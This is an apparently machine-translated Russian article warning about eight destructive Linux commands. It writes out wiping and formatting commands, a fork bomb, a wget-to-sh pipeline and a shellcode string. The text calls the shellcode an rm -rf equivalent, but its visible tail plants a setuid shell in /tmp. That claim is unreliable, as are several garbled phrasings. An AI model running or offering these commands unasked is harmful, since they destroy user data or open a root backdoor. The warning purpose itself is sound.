Команды терминала в Linux весьма разрушительны: если вы запустите команду, она разрушит вашу систему. Linux не требует подтверждения при выполнении какой-либо команды.
Знание того, какие команды не следует запускать в Linux, поможет защитить вашу систему при работе в Linux. Ниже приведены 8 смертельно опасных команд, которые никогда не следует запускать в Linux.

1. rm -rf/ — удалить всё
Команда rm -rf / удалит все, включая файлы на жестком диске и файлы на мультимедийных устройствах, подключенных к вашему компьютеру.
Чтобы лучше понять эту команду, проанализируйте ее следующим образом:
- rm – Удалить следующие файлы.
- -rf – запускает rm (удаляет все файлы и папки внутри указанной папки) и принудительно удаляет все файлы без предварительного запроса.
- / – Сообщает, что rm (скажем, rm) запускается в корневом каталоге, включая все файлы на вашем компьютере.
Linux с радостью последует этой команде и удалит все, не предупреждая вас, поэтому будьте осторожны при использовании этой команды.
Кроме того, команда rm используется очень опасными способами. Например, rm –rf ~ удалит все файлы в вашей домашней папке, а rm -rf .* удалит все ваши файлы конфигурации.
2. Замаскированная команда rm –rf/
Вот фрагмент кода, разбросанный по сети:
char esp[] __attribute__ ((section(".text"))) /* выпуск esp */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" " \xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7 " "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80 \x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp - p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";
По сути, это другая версия rm –rf/ – выполнение этой команды также удалит все ваши файлы, как и запуск rm –rf/.
3. :(){ :|: & };: – Тип блокбастера

Приведенная ниже командная строка выглядит очень простой, но ее функция на самом деле очень опасна:
:(){ :|: & };:
Эта короткая команда создаст новые копии самого себя. То есть сам процесс резервного копирования будет непрерывным и быстро приведет к заполнению вашего процессора и памяти.
Также это может привести к зависанию компьютера. По сути, это атака типа «отказ в обслуживании» (DoS).
4. mkfs.ext4 /dev/sda1 — форматы жестких дисков.
Команду mkfs.ext4 /dev/sda1 довольно легко понять:
- mkfs.ext4 — создает файловую систему ext4 на следующем устройстве.
- /dev/sda1 — идентифицирует первый раздел на первом жестком диске, который может быть используемым жестким диском.
Объединение этих двух команд эквивалентно форматированию диска C: в Windows — удалите все файлы в первом разделе и замените их новой файловой системой.
Эта команда может иметь множество различных форматов, например: mkfs.ext3 /dev/sdb2 отформатирует второй раздел на втором жестком диске в файловую систему ext3.
5. команда > /dev/sda — запись напрямую на жесткий диск

Командная строка > /dev/sda — запустите команду и выведите результат этой команды непосредственно на ваш первый жесткий диск, записывая данные непосредственно на жесткий диск и уничтожая вашу файловую систему.
- команда – запустить команду (может быть любая команда).
- > – отправляет вывод команды в следующее место.
- /dev/sda — запись вывода команды непосредственно на жесткий диск.
6. dd if=/dev/random of=/dev/sda – записывает на жесткий диск ненужные данные.
Строка dd if=/dev/random of=/dev/sda удалит данные на одном из ваших жестких дисков.
- dd – предназначен для выполнения низкоуровневого копирования из одного места в другое.
- if=/dev/random — используйте /dev/random в качестве входных данных — вы можете увидеть адреса типа /dev/zero.
- of=/dev/sda — вывод на первый жесткий диск, заменяя файловую систему случайными глупыми данными.
7. mv ~ /dev/null — переместите домашний каталог в черную дыру.
/dev/null — перемещение чего-либо в /dev/null равносильно его уничтожению. Думайте о /dev/null как о черной дыре. mv ~ /dev/null отправит все ваши личные файлы в черную дыру.
- mv – переместить следующий файл или папку в другое место.
- ~ – Вся ваша домашняя папка.
- /dev/null — переместите домашнюю папку в /dev/null, это уничтожит все ваши файлы и удалит исходные копии.
8. wget http://example.com/something -O – | sh – загрузить и запустить скрипт
Приведенная выше команда загрузит сценарий из Интернета и отправит его в sh, который выполнит содержимое сценария. Это может быть опасно, если вы не уверены, что такое сценарий, или у вас нет надежного источника сценария — не запускайте ненадежные сценарии.
wget – скачать файл.
http://example.com/something – скачивайте файлы отсюда.
| – Направьте (отправьте) выходные данные команды wget (файл загруженной версии) непосредственно в другую команду.
sh – отправить файл команде sh.
См. еще несколько статей ниже:
Веселиться!